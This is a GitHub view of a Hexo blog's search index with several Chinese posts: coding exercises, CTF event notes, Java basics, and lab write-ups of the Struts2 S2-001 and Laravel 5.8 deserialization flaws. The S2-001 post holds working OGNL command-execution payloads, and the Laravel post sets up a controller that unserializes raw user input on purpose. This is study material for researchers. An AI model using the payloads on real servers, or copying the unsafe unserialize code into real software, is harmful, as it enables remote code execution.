-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
279 lines (132 loc) · 159 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Java-CTF</title>
<link href="posts/9d05.html"/>
<url>posts/9d05.html</url>
<content type="html"><![CDATA[<script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -Java -wp </tag>
</tags>
</entry>
<entry>
<title>编程练习</title>
<link href="posts/70ce.html"/>
<url>posts/70ce.html</url>
<content type="html"><![CDATA[<h1 id="1001-害死人不偿命的-3n-1-猜想-15分"><a href="#1001-害死人不偿命的-3n-1-猜想-15分" class="headerlink" title="1001 害死人不偿命的(3n+1)猜想 (15分)"></a>1001 害死人不偿命的(3n+1)猜想 (15分)</h1><p><strong>卡拉兹(Callatz)猜想:</strong></p><p><strong>对任何一个正整数 <em>n</em>,如果它是偶数,那么把它砍掉一半;如果它是奇数,那么把 (3<em>n</em>+1) 砍掉一半。这样一直反复砍下去,最后一定在某一步得到 <em>n</em>=1。卡拉兹在 1950 年的世界数学家大会上公布了这个猜想,传说当时耶鲁大学师生齐动员,拼命想证明这个貌似很傻很天真的命题,结果闹得学生们无心学业,一心只证 (3<em>n</em>+1),以至于有人说这是一个阴谋,卡拉兹是在蓄意延缓美国数学界教学与科研的进展……</strong></p><p><strong>我们今天的题目不是证明卡拉兹猜想,而是对给定的任一不超过 1000 的正整数 <em>n</em>,简单地数一下,需要多少步(砍几下)才能得到 <em>n</em>=1?</strong></p><p><strong>输入格式:</strong></p><p><strong>每个测试输入包含 1 个测试用例,即给出正整数 <em>n</em> 的值。</strong></p><h2 id="C"><a href="#C" class="headerlink" title="C"></a>C</h2><pre><code class="c">#include<stdio.h>int main(){ int num=0,step=0; scanf("%d",&num); while(num != 1) { if(0==num%2) { num=num/2; } else { num=3*num+1; num=num/2; } step++; } printf("%d",step);}</code></pre><h2 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h2><pre><code class="python">#python3n = int(input())step = 0while n!=1: if(n%2==0): n = n/2 else: n = (3*n+1)/2 step=step+1print(step)</code></pre><h2 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h2><h1 id="1003-我要通过!-20分"><a href="#1003-我要通过!-20分" class="headerlink" title="1003 我要通过! (20分)"></a>1003 我要通过! (20分)</h1><p>“<strong>答案正确</strong>”是自动判题系统给出的最令人欢喜的回复。本题属于 PAT 的“<strong>答案正确</strong>”大派送 —— 只要读入的字符串满足下列条件,系统就输出“<strong>答案正确</strong>”,否则输出“<strong>答案错误</strong>”。</p><p>得到“<strong>答案正确</strong>”的条件是:</p><ol><li>字符串中必须仅有 <code>P</code>、 <code>A</code>、 <code>T</code>这三种字符,不可以包含其它字符;</li><li>任意形如 <code>xPATx</code> 的字符串都可以获得“<strong>答案正确</strong>”,其中 <code>x</code> 或者是空字符串,或者是仅由字母 <code>A</code> 组成的字符串;</li><li>如果 <code>aPbTc</code> 是正确的,那么 <code>aPbATca</code> 也是正确的,其中 <code>a</code>、 <code>b</code>、 <code>c</code> 均或者是空字符串,或者是仅由字母 <code>A</code> 组成的字符串。</li></ol><p>现在就请你为 PAT 写一个自动裁判程序,判定哪些字符串是可以获得“<strong>答案正确</strong>”的。</p><p>输入格式:</p><p>每个测试输入包含 1 个测试用例。第 1 行给出一个正整数 <em>n</em> (<10),是需要检测的字符串个数。接下来每个字符串占一行,字符串长度不超过 100,且不包含空格。</p><p>输出格式:</p><p>每个字符串的检测结果占一行,如果该字符串可以获得“<strong>答案正确</strong>”,则输出 <code>YES</code>,否则输出 <code>NO</code>。</p><h2 id="C-1"><a href="#C-1" class="headerlink" title="C"></a>C</h2><p>#include<stdio.h><br>#include<string.h></p><p>int main()<br>{<br> char ch[105] = {};<br> int count = 0;</p><pre><code>scanf("%d",&count);char ch1[count][105];int i = 0;for( ; i < count ; i++){ scanf("%s",ch); int len = strlen(ch)+1; int count1_A = 0; int count2_A = 0; int count3_A = 0; int count_P = 0; int count_T = 0; int n1 = 0; for(n1 = 0 ; n1 < len ; n1++) { if('A' == ch[n1]) { count1_A++; } else { break; } } for( ; n1 < len ; n1++) { if('T' != ch[n1]) { if('P' == ch[n1]) count_P++; else if('A' == ch[n1]) count2_A++; } else break; } for( ; n1 < len ; n1++) { if('\0' != ch[n1]) { if('T' == ch[n1]) count_T++; else if('A' == ch[n1]) count3_A++; } } if((count1_A == count3_A && count2_A > 0) || (count3_A == count2_A * count1_A && count2_A > 1)) { if(count_P == 1 && count_T == 1 && count2_A >0) { strcpy(ch1[i],"YES"); } else { strcpy(ch1[i],"NO"); } } else { strcpy(ch1[i],"NO"); } int j = 0; for( ; j < len ; j++) { if('P' != ch[j] && 'A' != ch[j] && 'T' != ch[j] && '\0' != ch[j]) { strcpy(ch1[i],"NO"); break; } }}for(i = 0 ; i < count ; i++){ printf("%s\n",ch1[i]);}return 0; </code></pre><p>}</p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -programming </tag>
</tags>
</entry>
<entry>
<title>安洵杯2020 工作小记</title>
<link href="posts/9381.html"/>
<url>posts/9381.html</url>
<content type="html"><![CDATA[<p>Author:ttpfx,V1cuna,</p><h1 id="开幕式活动准备"><a href="#开幕式活动准备" class="headerlink" title="开幕式活动准备"></a>开幕式活动准备</h1><h2 id="需要做的"><a href="#需要做的" class="headerlink" title="需要做的"></a>需要做的</h2><ul><li>申请教室<ol><li>提前一个周要进行复杂的一系列签字</li><li>就这次而言我们要跑保卫处,</li></ol></li><li></li></ul><h2 id="出现的问题"><a href="#出现的问题" class="headerlink" title="出现的问题"></a>出现的问题</h2><ul><li>并没有提前调试设备。(国际会议厅设备不熟悉也是一个原因,看来下次最好还是借楼下的会议厅)</li><li>并没有提前布置,其实由于下午会议厅没有被占用,其实完全可以早一点去张贴海报,或是挂横幅,摆好水。</li><li>大家心里是想帮忙的,但是不知道做什么,以为没有事情做了,于是有同学开始聊天,变成了忙的忙死,闲的闲死。</li><li>在出现问题之后,有同学就一直在抱怨了,那样的语气会带给伙伴更差的心理感受,我们需要一点积极的气氛去解决问题而不是指责的语气去抱怨我们自己的伙伴。</li><li>太短了,有点尴尬,看来还是需要有一个技术分享的形式,去年学长们说太长了,那最好就只有一个吧。</li></ul><h2 id="反思"><a href="#反思" class="headerlink" title="反思"></a>反思</h2><ol><li>下次准备任何这种需要借教室的活动一定要提前确定有无占用(现在是信息楼就业中心管下面的会议厅),这次其实有点难受,签了一圈字最后发现被占用,差点改时间。</li></ol><h1 id="线上"><a href="#线上" class="headerlink" title="线上"></a>线上</h1><p> 这次是抱着学习的态度尝试参与运维的工作,也算是人生第一次运维,发现自己还是太菜了,虽然接了运维的任务,但是对H1ve(需要运维的平台)架构并不熟悉(虽然一开始认为已经懂了)。在这里总结一下,希望以后还有这样的机会来锻炼自己。</p><h2 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h2><h3 id="SSH管理"><a href="#SSH管理" class="headerlink" title="SSH管理"></a>SSH管理</h3><p>个人感觉这次新用的<strong>MobaXterm</strong>比之前的Finalshell等工具要好用,包括一些自带的高亮,自带record。总的来说功能比较强大(花里胡哨),以后慢慢探索。</p><p><img src="https://xiaoyngtuo.oss-cn-chengdu.aliyuncs.com/img/Xterm_Display.png" alt="Xterm_Display"></p><h3 id="熟悉功能"><a href="#熟悉功能" class="headerlink" title="熟悉功能"></a>熟悉功能</h3><p>这个搭建后就可以尝试,可以看着readme进行,一些运维需要的功能是这样的</p><h3 id="审平台源码"><a href="#审平台源码" class="headerlink" title="审平台源码"></a>审平台源码</h3><h2 id="赛前配置"><a href="#赛前配置" class="headerlink" title="赛前配置"></a>赛前配置</h2><h3 id="nginx反向代理"><a href="#nginx反向代理" class="headerlink" title="nginx反向代理"></a>nginx反向代理</h3><h3 id="阿里云申请证书"><a href="#阿里云申请证书" class="headerlink" title="阿里云申请证书"></a>阿里云申请证书</h3><p>这个比较简单</p><h3 id="遇到的一个小坑"><a href="#遇到的一个小坑" class="headerlink" title="遇到的一个小坑"></a>遇到的一个小坑</h3><p>我发现nginx并没有真正的“装”在物理机上(nginx命令报错),所以一直在看docker里装nginx情况下配置https的文章。</p><p>这些文章里都是用openssl来自己设置密钥,并没有多少利用阿里云SSL证书来配置的。另外我发现docker中的root权限不足以去改动<code>vhost.conf</code>这个文件。</p><p>后来我发现原来是没有搞清楚映射关系,物理机上存有相关的<code>vhost.conf</code>文件,我们只要</p><h3 id="配置https"><a href="#配置https" class="headerlink" title="配置https"></a>配置https</h3><h3 id="redis问题"><a href="#redis问题" class="headerlink" title="redis问题"></a>redis问题</h3><h3 id="buffer问题"><a href="#buffer问题" class="headerlink" title="buffer问题"></a>buffer问题</h3><h3 id="服务器核心问题"><a href="#服务器核心问题" class="headerlink" title="服务器核心问题"></a>服务器核心问题</h3><p>最后40分钟服务器突然崩了</p><h2 id="运维中"><a href="#运维中" class="headerlink" title="运维中"></a>运维中</h2><ul><li>一定要沟通后再做决定。我就犯了一个很严重的错误,个人判断有问题就直接删掉了做出题的一次记录===>会导致分数变化</li><li>由于之前修的还行,一直到最后才出现上文中的服务器核心问题</li></ul><h1 id="线下"><a href="#线下" class="headerlink" title="线下"></a>线下</h1><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -运维 -杂 </tag>
</tags>
</entry>
<entry>
<title>S2-001 漏洞分析</title>
<link href="posts/38c8.html"/>
<url>posts/38c8.html</url>
<content type="html"><![CDATA[<h1 id="s2-001-漏洞分析"><a href="#s2-001-漏洞分析" class="headerlink" title="s2-001 漏洞分析"></a>s2-001 漏洞分析</h1><h2 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h2><p>Tomcat Apache(这里我和ttpfx用的是Tomcat 9)</p><p>idea(旗舰)</p><p>struts2.0源码,或者直接白嫖 github 上 vulhub 里 struts2/s2-001/S2-001 压缩包里的 jar 包</p><p>(推荐,比第一种方式快很多)</p><p>前面的自己下载安装(struts2不用安装)</p><h3 id="需要知道的知识"><a href="#需要知道的知识" class="headerlink" title="需要知道的知识"></a>需要知道的知识</h3><h4 id="什么是struts2"><a href="#什么是struts2" class="headerlink" title="什么是struts2"></a>什么是struts2</h4><p><code>struts</code>是由<code>Apache基金会</code>赞助的顶级开源项目,它是一个由<code>JSP</code>和<code>MVC</code>模式实现的大型<code>Web</code>框架</p><h3 id="idea环境搭建"><a href="#idea环境搭建" class="headerlink" title="idea环境搭建"></a>idea环境搭建</h3><h4 id="需要的条件"><a href="#需要的条件" class="headerlink" title="需要的条件"></a>需要的条件</h4><ul><li>Tomcat Apache</li><li>idea(旗舰)</li><li>struts2.0源码,或者直接白嫖<code>github</code>上<code>vulhub</code>里<code>struts2/s2-001/S2-001.war</code>压缩包(是的,这是压缩包的后缀,可以用一般解压软件打开)里的<code>jar</code>包(推荐,比第一种方式快很多)</li></ul><p>前面的自己下载安装(struts2不用安装)</p><h4 id="idea搭建struts"><a href="#idea搭建struts" class="headerlink" title="idea搭建struts"></a>idea搭建struts</h4><h5 id="项目初始文件"><a href="#项目初始文件" class="headerlink" title="项目初始文件"></a>项目初始文件</h5><p>点击<code>File->new->project</code>新建项目,然后选择如下</p><blockquote><p> 图源先知社区</p></blockquote><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180831124350-7462942a-acd8-1.png" alt="img" style="zoom:80%;"><p>选择<code>JavaEnterprise</code>里的<code>java</code>即可 </p><blockquote><p>具体原因可以看看这篇文章 <a href="https://blog.csdn.net/qq_45738810/article/details/107842532" target="_blank" rel="noopener">传送门</a></p></blockquote><img src="https://i.loli.net/2020/11/15/sWikJaLFpGl1bXx.png" alt="配置1.png" style="zoom:80%;"><p>然后就如上面传送门所说,右键点击左上的项目名,然后点击<code>Add Framework Support</code></p><img src="https://i.loli.net/2020/11/15/seGLzKjdQwiygZc.png" alt="配置2.png" style="zoom:80%;"><p>选择<code>Web Application</code></p><p><img src="https://xiaoyngtuo.oss-cn-chengdu.aliyuncs.com/img/%E9%85%8D%E7%BD%AE3.png" alt="配置3"></p><p>然后处理一下初始项目的文件,除了<code>pom.xml</code>、<code>demo.iml</code>和<code>.idea</code>,其他的都可以删了</p><p>贴一下最终配好的目录,等会儿只需要在对应地方(文件夹内部操作就行)加文件就完事了</p><p><strong>index.jsp</strong></p><pre><code class="jsp"><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p><s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit></s:form></body></html></code></pre><p><strong>welcome.jsp</strong></p><pre><code class="jsp"><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html></code></pre><p><strong>structs.xml</strong></p><pre><code class="xml"><?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"><struts> <!-- <constant name="struts.enable.DynamicMethodInvocation" value="true" /> --> <constant name="struts.devMode" value="false" /> <!-- Add packages here --> <package name="S2-001" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">/welcome.jsp</result> <result name="error">/index.jsp</result> </action> </package></struts></code></pre><p><strong>web.xml</strong></p><pre><code class="xml"><?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <display-name>S2-001 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list></web-app></code></pre><p>新建<code>package</code>目录<code>com.demo.action</code>,在下面放文件<code>LoginAction.java</code></p><pre><code class="java">package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport { private String username = null; private String password = null; public LoginAction() { } public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if (!this.username.isEmpty() && !this.password.isEmpty()) { return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error"; } else { return "error"; } }}</code></pre><p>最后在<code>lib</code>目录下放入必要的<code>jar</code>包</p><h5 id="配置idea"><a href="#配置idea" class="headerlink" title="配置idea"></a>配置idea</h5><p>导入<code>jar</code>包</p><p>点击<code>File->Project Structure->Modules</code>(文件->项目结构->模块),点击右边<code>+</code>号添加导入的<code>jar</code>包或存放<code>jar</code>包文件夹的路径,最后勾选即可</p><p>我这里导入的是存放<code>jar</code>包的文件夹路径</p><p><img src="https://xiaoyngtuo.oss-cn-chengdu.aliyuncs.com/img/%E9%85%8D%E7%BD%AE4.png" alt="配置4"></p><p>最后需要配置一下<code>Tomcat</code></p><p>点右上角<code>Add Configuration</code>,再点左上角<code>+</code>号,选择<code>Tomcat Server/Local</code></p><p>点击会自动寻找你的<code>Tomcat</code>路径(根目录)</p><p><img src="https://xiaoyngtuo.oss-cn-chengdu.aliyuncs.com/img/%E9%85%8D%E7%BD%AE5.png" alt="配置5"></p><p>下面的<code>URL</code>记得设置成你<code>Tomcat</code>的端口就行(默认是<code>8080</code>,而我的<code>8080</code>被用来监听了<code>burpsuite</code>,所以我的<code>Tomcat</code>设置的是<code>1234</code>,故这里的<code>URL</code>端口也要设置成<code>1234</code>)</p><p>然后点击<code>Deployment</code>,再点右边<code>+</code>号的<code>External Source</code>来选择自己项目的路径,然后选择自己映射到服务器上的目录</p><p>如下就选择映射到<code>web</code>根目录,就是项目的所在目录</p><p><img src="https://xiaoyngtuo.oss-cn-chengdu.aliyuncs.com/img/%E9%85%8D%E7%BD%AE6.png" alt="配置6"></p><p>最后点击右上角<code>Build Project</code>,再点击<code>Run</code>,访问<code>localhost:1234</code>即可</p><p><strong>补充:</strong>不知道会不会有人出现这个问题,我Run时会报SSL的错,但是ttpfx搭建的时候并没有出现。</p><p>其实Tomcat原本就有关于SSL的设置,在/conf/server.xml这里,有一部分被注释了,如图:</p><p><img src="https://i.loli.net/2020/11/15/brHTA53l4EwNVKu.png" alt="server_xml.png"></p><p>将<code>connector</code>标签部分取消注释即可</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>先放一下<code>payload</code>吧</p><p>单个命令</p><pre><code>%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}</code></pre><p>带参数的命令需要在<code>{}</code>中以<code>,</code>分开命令和参数</p><pre><code>%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"curl","127.0.0.1:1234"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}</code></pre><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -漏洞 -java </tag>
</tags>
</entry>
<entry>
<title>java基础学习</title>
<link href="posts/6108.html"/>
<url>posts/6108.html</url>
<content type="html"><![CDATA[<h1 id="Java基础学习"><a href="#Java基础学习" class="headerlink" title="Java基础学习"></a>Java基础学习</h1><h2 id="JDK-JRE-JVM"><a href="#JDK-JRE-JVM" class="headerlink" title="JDK,JRE,JVM"></a>JDK,JRE,JVM</h2><p>JDK 是 Java Development Kit 缩写,它是功能齐全的 Java SDK。它拥有 JRE 所拥有的一切,还有编译器(javac)和工具(如 javadoc 和 jdb)。它能够创建和编译程序。</p><p>JRE 是 Java 运行时环境。它是运行已编译 Java 程序所需的所有内容的集合,包括 Java 虚拟机(JVM),Java 类库,java 命令和其他的一些基础构件。但是,它不能用于创建新程序。</p><h2 id="一个java程序的编译"><a href="#一个java程序的编译" class="headerlink" title="一个java程序的编译"></a>一个java程序的编译</h2><p><img src="https://i.loli.net/2020/11/12/LBk73WwoniF9YpQ.png" alt="guocheng.png"></p><p>这里的字节码就是我们看到的<code>.class</code>文件,JVM读取字节码,然后通过解释器逐行解释,慢一些,可以说java是编译和解释共存吧。</p><p>一般来说,都是这样的。但是还有<code>JIT</code>(运行时字节码编译成机器码,编译后保存机器码)和<code>AOT</code>(直接编译成机器码)类型的编译。</p><h1 id="关键字"><a href="#关键字" class="headerlink" title="关键字"></a>关键字</h1><table><thead><tr><th>访问控制</th><th>private</th><th>protected</th><th>public</th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>类,方法和变量修饰符</td><td>abstract</td><td>class</td><td>extends</td><td>final</td><td>implements</td><td>interface</td><td>native</td></tr><tr><td></td><td>new</td><td>static</td><td>strictfp</td><td>synchronized</td><td>transient</td><td>volatile</td><td></td></tr><tr><td>程序控制</td><td>break</td><td>continue</td><td>return</td><td>do</td><td>while</td><td>if</td><td>else</td></tr><tr><td></td><td>for</td><td>instanceof</td><td>switch</td><td>case</td><td>default</td><td></td><td></td></tr><tr><td>错误处理</td><td>try</td><td>catch</td><td>throw</td><td>throws</td><td>finally</td><td></td><td></td></tr><tr><td>包相关</td><td>import</td><td>package</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>基本类型</td><td>boolean</td><td>byte</td><td>char</td><td>double</td><td>float</td><td>int</td><td>long</td></tr><tr><td></td><td>short</td><td>null</td><td>true</td><td>false</td><td></td><td></td><td></td></tr><tr><td>变量引用</td><td>super</td><td>this</td><td>void</td><td></td><td></td><td></td><td></td></tr><tr><td>保留字</td><td>goto</td><td>const</td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table><h1 id="和equals"><a href="#和equals" class="headerlink" title="==和equals"></a>==和equals</h1><p>java中只有值传递,这是前提</p><blockquote><p>值传递是指在调用函数时,将实际参数复制一份传递给函数,这样在函数中修改参数时,不会影响到实际参数。其实,就是在说值传递时,只会改变形参,不会改变实参。</p><p>引用传递:是指在调用函数时,将实际参数的地址传递给函数,这样在函数中对参数的修改,将影响到实际参数。</p></blockquote><p>引出下面让我有点疑惑的点</p><h2 id=""><a href="#" class="headerlink" title="=="></a>==</h2><p>判断两个对象是不是同一对象,一开始我以为在比较引用数据类型时,比较的是地址,但是我很奇怪的是之前学习时看到的确实是值传递,这是为什么呢?</p><p>因为 Java 只有值传递,所以,对于 == 来说,不管是比较基本数据类型,还是引用数据类型的变量,其本质比较的都是值,只是引用类型变量存的值是对象的地址。</p><h2 id="equals"><a href="#equals" class="headerlink" title="equals"></a>equals</h2><p><code>equals()</code> 方法存在两种使用情况:</p><ul><li>情况 1:类没有覆盖 <code>equals()</code>方法。则通过<code>equals()</code>比较该类的两个对象时,等价于通过“==”比较这两个对象。使用的默认是 <code>Object</code>类<code>equals()</code>方法。</li><li>情况 2:类覆盖了 <code>equals()</code>方法。一般,我们都覆盖 <code>equals()</code>方法来两个对象的内容相等;若它们的内容相等,则返回 true(即,认为这两个对象相等)。</li></ul><p>那么我们可以用一个简单的小例子来看不同之处:</p><pre><code class="java">public class Normal { public static void main(String args[]) { String a = new String("aa"); String b = new String("aa"); String aa = "bb"; if (a.equals(b)) // true System.out.println("yes"); if (a==b) System.out.println("YESS"); if (a!=b) System.out.println("nAH"); else System.out.println("NOT"); }}//返回 yes nAH</code></pre><ul><li><code>String</code> 中的 <code>equals</code> 方法是被重写过的,因为 <code>Object</code> 的 <code>equals</code> 方法是比较的对象的内存地址,而 <code>String</code> 的 <code>equals</code> 方法比较的是对象的值。</li><li>当创建 <code>String</code> 类型的对象时,虚拟机会在常量池中查找有没有已经存在的值和要创建的值相同的对象,如果有就把它赋给当前引用。如果没有就在常量池中重新创建一个 <code>String</code> 对象。</li></ul><h2 id="hashcode"><a href="#hashcode" class="headerlink" title="hashcode()"></a>hashcode()</h2><p>差点忘了还有这个,也是用来比较的一个方法,并且存在于任何类中。虽然不同于PHP中的弱相等方法,但是同样也有碰撞的风险。在hashset对比中,同样的 hashcode 有多个对象,它会使用 <code>equals()</code> 来判断是否真的相同。也就是说 <code>hashcode()</code> 只是用来缩小查找成本。</p><h1 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h1><p>分返回方法和无返回类型。</p><p>void xxx() 无返回类型</p><p>int xxx() 有返回类型,有返回类型的一般都有一个接收返回类型的值,变量。</p><h1 id="-1"><a href="#-1" class="headerlink" title=""></a></h1><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> -java </tag>
</tags>
</entry>
<entry>
<title>BUU-crypto</title>
<link href="posts/7f16.html"/>
<url>posts/7f16.html</url>
<content type="html"><![CDATA[<script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> CTF </tag>
<tag> WP </tag>
<tag> BUU </tag>
<tag> crypto </tag>
</tags>
</entry>
<entry>
<title>Laravel 5.8.x 漏洞分析</title>
<link href="posts/271d.html"/>
<url>posts/271d.html</url>
<content type="html"><![CDATA[<h1 id="Laravel-5-8-x-漏洞分析"><a href="#Laravel-5-8-x-漏洞分析" class="headerlink" title="Laravel 5.8.x 漏洞分析"></a>Laravel 5.8.x 漏洞分析</h1><p>据中哥说①环境出了点问题②有五条链子,但是我今天自己只跟出来三条(一条好像被修了)。。。wtcl,没分析出来的我把连接放上。</p><h2 id="搭建环境"><a href="#搭建环境" class="headerlink" title="搭建环境"></a>搭建环境</h2><pre><code>composer create-project --prefer-dist laravel/laravel blog "5.8.*"php artisan serve --host=0.0.0.0 //一般就是命令行执行这个命令呀</code></pre><ul><li><p>在 <code>laravel58/routes/web.php</code> 文件添加路由</p><pre><code class="php">Route::get("/","\App\Http\Controllers\DemoController@demo");</code></pre></li><li><p>在 <code>laravel58/app/Http/Controllers/</code> 下添加 <code>DemoController.php</code> 控制器</p><pre><code class="php"><?phpnamespace App\Http\Controllers;class DemoController extends Controller{ public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; }}</code></pre></li></ul><h2 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h2><p><a href="https://learnku.com/docs/laravel/5.8/structure/3881" target="_blank" rel="noopener">https://learnku.com/docs/laravel/5.8/structure/3881</a></p><h2 id="POP链1【5-8被修了。。。】"><a href="#POP链1【5-8被修了。。。】" class="headerlink" title="POP链1【5.8被修了。。。】"></a>POP链1【5.8被修了。。。】</h2><p><strong>这条链的起点在Illuminate\Foundation\Testing\PendingCommand::__destruct</strong></p><p><img src="https://i.loli.net/2020/10/11/a6ZLxhlWETnsIoP.png" alt="Snipaste_2020-10-11_15-33-31.png"></p><p><img src="https://i.loli.net/2020/10/11/a8XKFOBJU2dieZQ.png" alt="Snipaste_2020-10-11_15-45-54.png"></p><p>并且可以看到<code>hasExecuted</code>默认是false</p><p><img src="https://i.loli.net/2020/10/11/dUh8sxY2OmByuDn.png" 